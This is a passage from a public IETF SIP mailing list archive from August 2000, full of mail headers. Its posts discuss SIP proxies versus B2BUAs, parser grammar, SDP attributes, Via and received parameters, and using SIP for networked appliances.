Aug 2000 03:11:14 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id DAA29483; Fri, 4 Aug 2000 03:12:43 -0400 (EDT) Message-ID: <398A6DB5.5E656AEC@dynamicsoft.com> Date: Fri, 04 Aug 2000 03:16:05 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dvir Oren Cc: SIP Subject: Re: [SIP] Proxy initiating a BYE References: <14725.44127.403193.648226@jodie.lucid> <39862A2A.878BBF63@dynamicsoft.com> <14726.35447.996397.900378@jodie.lucid> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Dvir Oren wrote: > > Jonathan Rosenberg writes ("Re: [SIP] Proxy initiating a BYE"): > > > application server acting as a B2BUA. See the 3pcc draft for some ideas > > on how this works. > > I've readh through the 3pcc draft, and find that there is one > characteristic missing. The second example (click-to-dial) assumes > sount out-of-band mechanism for a user to initiate a call using the > 3pcc (in the example it was some HTTP application). I'll quote: > > We assume for purposes of this discussion that the web server is > actually an applications server that contains an http interface. In > this case, when the user clicks on the URL, the application server > knows, through cookies or some other state mechanism, the addresses > of the participants to be connected. > > How is this done using SIP? I want UserA to send an INVITE to a 3pcc, > to which it will send an INVITE to UserB. This is why I wanted a > proxy. A proxy will do exactly that. No, a B2BUA will do exactly that. A proxy never *initiates* a new request. The difference between initiate and proxy is that (1) the via headers are reset, (2) the contact header is set to the initiator, (3) possibly other things, but at least 1 and 2. > However, I need some timing > capabilities (such as a calling card that is time limited). This > means that the "man in the middle" will need to hang up. Perfectly fine thing to do in a B2BUA. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 03:43:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14318 for ; Fri, 4 Aug 2000 03:43:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2E8CE4437D; Fri, 4 Aug 2000 03:42:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id A5DFD44338 for ; Fri, 4 Aug 2000 03:42:09 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id NAA26905 for ; Fri, 4 Aug 2000 13:12:47 +0530 (IST) From: manu@sasi.com Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Fri, 04 Aug 2000 13:11:30 +0000 (IST) Received: from localhost (manu@localhost) by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id NAA01102 for ; Fri, 4 Aug 2000 13:04:52 +0530 Date: Fri, 4 Aug 2000 13:04:52 +0530 (IST) To: sip@lists.bell-labs.com Subject: [SIP] SIP parser: newbie Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com The recent mails recommending flex/bison, lex/yacc etc., for the SIP parser have confused me a bit. I'd like to know the `granularity' of the tokenizer/parser split. For instance, --------------------------------------------------------------- sip_msg : request | response ; request : request_line header_list CRLF ; request_line : METHOD WORD SIP_VERSION CRLF { /* hand-decode the request uri */ if (! decode_request_uri($2)) { /* handle error somehow */ } } ; where WORD is a token denoting any sequence of characters without whitespace, cr-lf chars, and the comma. For example, its lex specification may be: [^ ,\t\r\n] { return WORD; } --------------------------------------------------------------- My question is because I found it hard to parse, say, the sip-url using the flex/bison route. Since yacc and bison generate a LALR(1) parser, I had conflicts while trying to parse: hostname = *(domainlabel ".") toplabel ["."] domainlabel = alphanum | ... toplabel = alpha | ... The conflict was because bison couldn't distinguish between domainlabel & toplabel with its one-token lookahead. So that ended in a reduce-reduce conflict! I'd like to know if this is the right approach: 1. tokenize the input string into words (of course, some words are easily distinguishable, like methods, Accept, To, From etc.,) 2. hand-verify the words that yacc couldn't handle (like urls). Or is it possible to make yacc handle everything by tweaking the grammar? Any pointers would be appreciated. Thanks very much. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 09:30:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03734 for ; Fri, 4 Aug 2000 09:30:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EE75944345; Fri, 4 Aug 2000 09:30:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ix.netcorps.com (ix.netcorps.com [207.1.125.106]) by lists.bell-labs.com (Postfix) with ESMTP id C013244338 for ; Fri, 4 Aug 2000 09:29:59 -0400 (EDT) Received: from indigosw.com (adsl-1561.turboline.skynet.be [194.78.202.25]) by ix.netcorps.com (8.9.0/8.9.0) with ESMTP id GAA00486 for ; Fri, 4 Aug 2000 06:29:39 -0700 (PDT) Message-ID: <398AC61B.B2C5E85A@indigosw.com> Date: Fri, 04 Aug 2000 15:33:15 +0200 From: dENIS Vandersteene Organization: Indigo Software X-Mailer: Mozilla 4.72 [en] (Windows NT 5.0; I) X-Accept-Language: en MIME-Version: 1.0 To: sip Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [SIP] Authorization Header in PGP Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Hi there, In RFC 2543bis (July 26th) Section 15.1.2 (The Authorization Request Header), the definition of the Authorization Header is, for PGP: Authorization = "Authorization" ":" "pgp" #pgp-response [...] Shouldn't that be: Authorization = "Authorization" ":" "pgp" 1#pgp-response ? Thanks, dENIS -- Denis Vandersteene Software Engineer Indigo Software 50 Rue Wiertz Brussels, 1050 – Belgium Tel. +32 2 401 68 22 dENIS@indigosw.com http://www.indigosw.com -------------------------------------------- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 09:44:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08094 for ; Fri, 4 Aug 2000 09:44:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D0EDB4433C; Fri, 4 Aug 2000 09:43:55 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f161.law7.hotmail.com [216.33.237.161]) by lists.bell-labs.com (Postfix) with ESMTP id A737F44338 for ; Fri, 4 Aug 2000 09:43:52 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 4 Aug 2000 06:43:51 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 04 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: sip@lists.bell-labs.com Date: Fri, 04 Aug 2000 13:43:51 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 04 Aug 2000 13:43:51.0722 (UTC) FILETIME=[064170A0:01BFFE1A] Subject: [SIP] questions on SIP/SDP Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hi all, i have few queries to ask : 1) if caller requests the foll. m= 0 1 a=sendrecv if the callee supports only sendonly with 0 and recvonly with 1 then how can he specify this in his response would it be: m= 0 a=sendonly m= 1 a=recvonly but the above will voilate the sip rfc where it specifies that there should be one to one mapping b/w the requests and the response. 2) The netmeeting tool of Microsoft implements the H323 stack and there we have a provision for file transfer too, can we do the same using SIP stack, but how will we convey the request in the SDP. 3) another query on SDP responses: if caller sends a request: m= a=recvonly and the callee supports it, does it have to change the a= value to sendonly in the response i.e. m= a=sendonly or the above will be assumed by the caller on receipt of the positive response ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 10:27:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA22605 for ; Fri, 4 Aug 2000 10:27:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D0AF344351; Fri, 4 Aug 2000 10:27:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 4A93244338 for ; Fri, 4 Aug 2000 10:26:50 -0400 (EDT) Received: from cs.columbia.edu (wired-129-215.ietf.marconi.com [147.73.129.215]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id KAA10682; Fri, 4 Aug 2000 10:30:19 -0400 (EDT) Message-ID: <398AD48B.3050CBEA@cs.columbia.edu> Date: Fri, 04 Aug 2000 10:34:51 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: archow@hss.hns.com, sip@lists.bell-labs.com Subject: Re: [SIP] A universal problem with the t= line. References: <65256930.001507A3.00@sampark.hss.hns.com> <398A4978.F705E9B0@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > I believe SIP should abide by the SDP grammar. Period. If SDP says its > zero or nine-or-more characters, so be it. time = POS-DIGIT 9*(DIGIT) ;sufficient for 2 more centuries meaning it's really ten digits. > > be aware not to stuff in < 10 digit values in t= field (except 0) Unless you are scheduling events into the past (before 1931), you'd never need fewer than 10 digits. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 10:36:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA25754 for ; Fri, 4 Aug 2000 10:36:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0397F44352; Fri, 4 Aug 2000 10:36:41 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 106DB44338 for ; Fri, 4 Aug 2000 10:36:35 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e74Eanq11900; Fri, 4 Aug 2000 20:06:53 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 65256931.0050B637 ; Fri, 4 Aug 2000 20:11:35 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: Henning Schulzrinne Cc: Jonathan Rosenberg , archow@hss.hns.com, sip@lists.bell-labs.com Message-ID: <65256931.0050B474.00@sampark.hss.hns.com> Date: Fri, 4 Aug 2000 20:11:30 +0530 Subject: Re: [SIP] A universal problem with the t= line. Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com jdr> I believe SIP should abide by the SDP grammar. Period. If SDP says its jdr> zero or nine-or-more characters, so be it. jdr> time = POS-DIGIT 9*(DIGIT) jdr> ;sufficient for 2 more centuries hgs> meaning it's really ten digits. Yes, actually so I thought, for all practical purposes. jdr> be aware not to stuff in < 10 digit values in t= field (except 0) hgs> Unless you are scheduling events into the past (before 1931), you'd hgs> never need fewer than 10 digits. Maybe some implementors need to get back to Y2000 ;-) Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 10:38:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26184 for ; Fri, 4 Aug 2000 10:38:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B47364435B; Fri, 4 Aug 2000 10:37:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from shire.formysite.com (mail.formysite.com [216.226.19.3]) by lists.bell-labs.com (Postfix) with ESMTP id 1D47E44338 for ; Fri, 4 Aug 2000 10:37:26 -0400 (EDT) Received: from Odysseus2000 (c592852-a.sfmissn1.sfba.home.com [24.20.142.6]) by shire.formysite.com (8.9.1a/8.9.1) with SMTP id JAA13574; Fri, 4 Aug 2000 09:37:47 -0500 (CDT) Message-ID: <006701bffe21$7e577560$068e1418@sfmissn1.sfba.home.com> Reply-To: "Garret Wilson" From: "Garret Wilson" To: "Hisham Khartabil" , "SIP List" References: <011e01bffd9e$c304e040$1bdd4240@sfmissn1.sfba.home.com> <398A91D6.9AED5DF3@ericsson.fi> Subject: Re: [SIP] via headers required? Date: Fri, 4 Aug 2000 07:37:18 -0700 Organization: GlobalMentor, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit In response to the several questions about the location of the missing "Via:" headers, the missing via's start (or, more correctly, don't start) on page 106 of the PDF version (section 16.6), with Alice's server replying to Charles'. Missing via's continue with section 16.7, "Negotiation", and 16.8, "OPTIONS Request," etc. Garret ----- Original Message ----- From: "Hisham Khartabil" To: "Garret Wilson" Sent: Friday, August 04, 2000 2:50 AM Subject: Re: [SIP] via headers required? > Can you point them out so they can be fixed, I couldn't find any. > > Regards, > Hisham > > Garret Wilson wrote: > > > draft-ietf-sip-2542bis-00 claims, in section 6.45.1, that all requests must > > contain at least one "Via:" header. Yet there are examples in the same > > document that don't. Are via headers required? > > > > Garret Wilson > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 10:51:29 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA00837 for ; Fri, 4 Aug 2000 10:51:29 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E8C7F44361; Fri, 4 Aug 2000 10:50:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 772AA44338 for ; Fri, 4 Aug 2000 10:50:53 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e74EomY22429; Fri, 4 Aug 2000 10:50:48 -0400 (EDT) Message-Id: <4.3.1.2.20000804103829.00b84d00@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Fri, 04 Aug 2000 10:50:46 -0400 To: Jonathan Rosenberg , "Simon Tsang (Telcordia Technologies)" From: Stan Moyer Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Cc: sip@lists.bell-labs.com, dmarples@research.telcordia.com In-Reply-To: <398A3A2E.659EE338@dynamicsoft.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:36 PM 8/3/2000 -0400, Jonathan Rosenberg wrote: > So there will > > be a great need to address them as they move between locations and domains. > > Henning has already mentioned the possibility of 'naming' your appliances, > > so that my kitchen stove could be stove@simon.home.net. This reference can > > then be added to your 'favourites' address book. Using HTTP to do this > > will require explicit addressing (like the SLP URL Stan showed in the > > presentation yesterday) for every single request, and cannot support the > > more friendly object@domain representation. > >Why isn't the addressing http://simon.home.net/stove? I can't add this >to my bookmarks? The addressing is just as explicit as in the SIP case. How do you know that's the address? Why isn't it http://simon.home.net/cooker? or http://simon.home.net/grill? Or maybe you know the name, but how do others know? We need a standard way to "search" for the correct service in the home -- access to devices/appliances in the home will not always be done by people, it could also be done by network-based services (I can give examples if you want). The SIP Proxy mechanism provides a convenient way to route the message to the correct (home) domain, where the more abstract address can then be resolved. Also what's the address for subscribing for the event that the timer has gone off and my meal is done -- you probably can't (or at least shouldn't) use http for that? So, I guess the answer is that, yes you could use http for some of the things you need to do with appliances, but it's not optimal for the whole problem space. I would argue that the reasons you are arguing for convergence in the thread, "Re: [SIP] a proposal for a way to compromise? (really, not a joke)" , e.g., >...Let us not bypass the benefits afforded to users of the system. I think >it is fair to say users will want to have services that integrate >presence with voice, video, and other communications. Thats happening >today. By using the same infrastructure for the two, some neat services >become possible ... are many of the same reasons you would want to use SIP for networked appliances/devices. -Stan Stan Moyer Director, Internet Services Infrastructure Research ; Telcordia Technologies, MCC-1A238R, 445 South Street, Morristown, NJ 07960-6438 voice: +1 973 829 4923; fax: +1 973 829 5889 http://www.argreenhouse.com/bios/stanm/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 11:01:14 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04021 for ; Fri, 4 Aug 2000 11:01:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5595044366; Fri, 4 Aug 2000 10:59:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id E23CB4433D for ; Fri, 4 Aug 2000 10:59:34 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id PAA29314; Fri, 4 Aug 2000 15:57:45 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: Sip Mail List Date: Fri, 4 Aug 2000 15:32:56 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00080415532100.14079@gethin> Content-Transfer-Encoding: 8bit Subject: [SIP] received parameter is invalid Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit um, hello i've just noticed that the much loved and adored received parameter does not actually obey the generic-param syntax: generic-param: token=token|quoted-string received=host[:port] the problem is that : is not a token and so received does not conform. can we make : a token? or does that ruin other stuff. i've had a quick look (by no means through) and couldn't find any conflicts. or do we leave it as it is and have the attitude that everyone should know of the received parameter and how to parse it. it would have been nice to handle the un-encrypted and encrypted received parameter the same way (i.e. just read a token and then un-encrypt it if neccessary) however this does not allow that. thoughts? -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 11:04:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05111 for ; Fri, 4 Aug 2000 11:04:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F3C294436A; Fri, 4 Aug 2000 11:03:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by lists.bell-labs.com (Postfix) with ESMTP id 8B1514433D for ; Fri, 4 Aug 2000 11:03:27 -0400 (EDT) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA24981 for ; Fri, 4 Aug 2000 09:03:26 -0600 (MDT) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id IAA05949 for ; Fri, 4 Aug 2000 08:03:25 -0700 (PDT) Received: from nasnfs.Eng.Sun.COM (eastapp2.East.Sun.COM [129.148.162.99]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with ESMTP id IAA14328 for ; Fri, 4 Aug 2000 08:03:14 -0700 (PDT) From: James Kempf Message-Id: <200008041503.IAA14328@nasnfs.eng.sun.com> Date: Fri, 4 Aug 2000 11:03:18 -0400 To: Reply-To: X-Mailer: Sun NetMail 2.3 MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Subject: [SIP] SIP and World Domination Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Fellow SIP enthusiasts, Lately there seems to be a tendency for claims to be made that SIP can solve problems being addressed by various other working groups. HTTP, mobile IP, instant messaging, IMAP, the list goes on. Now, maybe SIP is flexible enough to serve as a dessert topping and a floor wax (and a paint remover, and....), but another possibility is that this is part of the normal process at IETF. People who are enthusiastic and knowledgable about a particular protocol that is beginning to see widespread success begin to look at what other problems the protocol can solve, in some cases, making claims about the protocol in areas where there are other protocols that do an equally well, if not better, job in solving the problems, or the other prococols could be easily extended to do the job. The problem with SIP is that it is being closely watched by the telephony standards community. Unlike the IETF, they have a very different process of standards development, and so they are not familiar with how IETF works. However, they *are* familar and very, very comfortable with circuit switched, and so when they see claims about SIP being made for solving all these problems, they tend to think that they can turn to SIP for everything, and turn a SIP proxy into a switch, and define all their services in terms of the switch. This is a particular problem when authors of seminal, standards track IDs or RFC-track informational IDs make such claims. When the claims are being made by a second year graduate student or MTS 2, they can be critically evaluated, but when they are made by leaders in the SIP community, the telephony standards community tends to view them as being made by "the" IETF itself. What would perhaps be somewhat more productive is if people who see problems with other protocols in regard to how they interact with SIP or real time media to participate in the appropriate working group and help to define the interaction rather than simply asserting that SIP can do it better. All right, that said, I've donned my asbestos suit (with noise and mouth filter to prevent inhalation of asbestos fibers), let the flames begin. jak _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 11:19:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA10355 for ; Fri, 4 Aug 2000 11:19:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0A7EB44374; Fri, 4 Aug 2000 11:18:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 820454433D for ; Fri, 4 Aug 2000 11:17:53 -0400 (EDT) Received: from cs.columbia.edu (wired-129-215.ietf.marconi.com [147.73.129.215]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id LAA10820; Fri, 4 Aug 2000 11:21:36 -0400 (EDT) Message-ID: <398AE090.52773BA8@cs.columbia.edu> Date: Fri, 04 Aug 2000 11:26:08 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: "Simon Tsang (Telcordia Technologies)" , Stan Moyer , "Fox, Mike" , sip@lists.bell-labs.com, dmarples@research.telcordia.com Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt References: <398A3A2E.659EE338@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Of course it does. You are not displaying them to a user for the purpose > of messaging and communications. If you are including content that has > semantic meaning to some upper layer system, its not a MESSAGE. Its > something else. MESSAGE does not just mean "deliver this to higher layer > protocol stack". It means a very specific thing - render this content to > the user, where this rendering is some kind of communication which might > be responded to. While I'm no fan of overloading names, I don't think it's quite as clear cut as we'd like. Some considerations: - It's bad if the same type of device (or the same name) gets two types of messages with very different meaning. This doesn't seem likely in this case. - We already have different content for INVITE, distinguished by Content-Disposition. It's a bit a matter of taste whether to use a different Content-Disposition or a different message. Thus, you definitely need a different Content-Disposition, other than render. - Having the same message makes sense if filtering, for example, would likely be the same for both. One could argue that a message being displayed to a user is just electrons on phosphor. A message to a lightbulb is just a one-bit phosphor. (After all, sending a MESSAGE to the Times Square news ticker is nothing but turning on *lots* of lightbulbs... It's also likely to be one-way.) In this case, it's a matter of abstraction whether MESSAGE is taken as only stuff that's text displayed to human users or more general. Reasonable people can disagree, I believe. Do we need to apply a Turing test to the recipient? In summary, I think either a new message type or MESSAGE can be made to work as long as the type of content is labeled clearly, not just in terms of syntax but also semantics. If lots of people think it's different enough and can describe the difference in some generic term ("MESSAGE is for messages for human consumption and is not expected to have other consequences; generally two way", "CONTROL is for messages for machine consumption that may trigger things, generally one-way"), it's easier to just use another method name and be done with the discussion. > > I don't dispute that they might possibly in some cases move around, but > it doesn't seem like the typical case. Choosing a protocol just for > support of an unlikely case doesn't seem like the right thing to do. I still don't understand the harm to SIP even if mobility is rare right now (with suitable authentication, devices in cars may be quite usefully be accessed remotely, e.g., for maintenance and diagnostic purposes). Web clients are very hard to automate and script, so I don't see this as a viable alternative in all cases. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 11:38:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17586 for ; Fri, 4 Aug 2000 11:38:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0E50844365; Fri, 4 Aug 2000 11:37:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 4D97C4433D for ; Fri, 4 Aug 2000 11:37:36 -0400 (EDT) Received: from cs.columbia.edu (wired-129-215.ietf.marconi.com [147.73.129.215]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id LAA10848; Fri, 4 Aug 2000 11:41:42 -0400 (EDT) Message-ID: 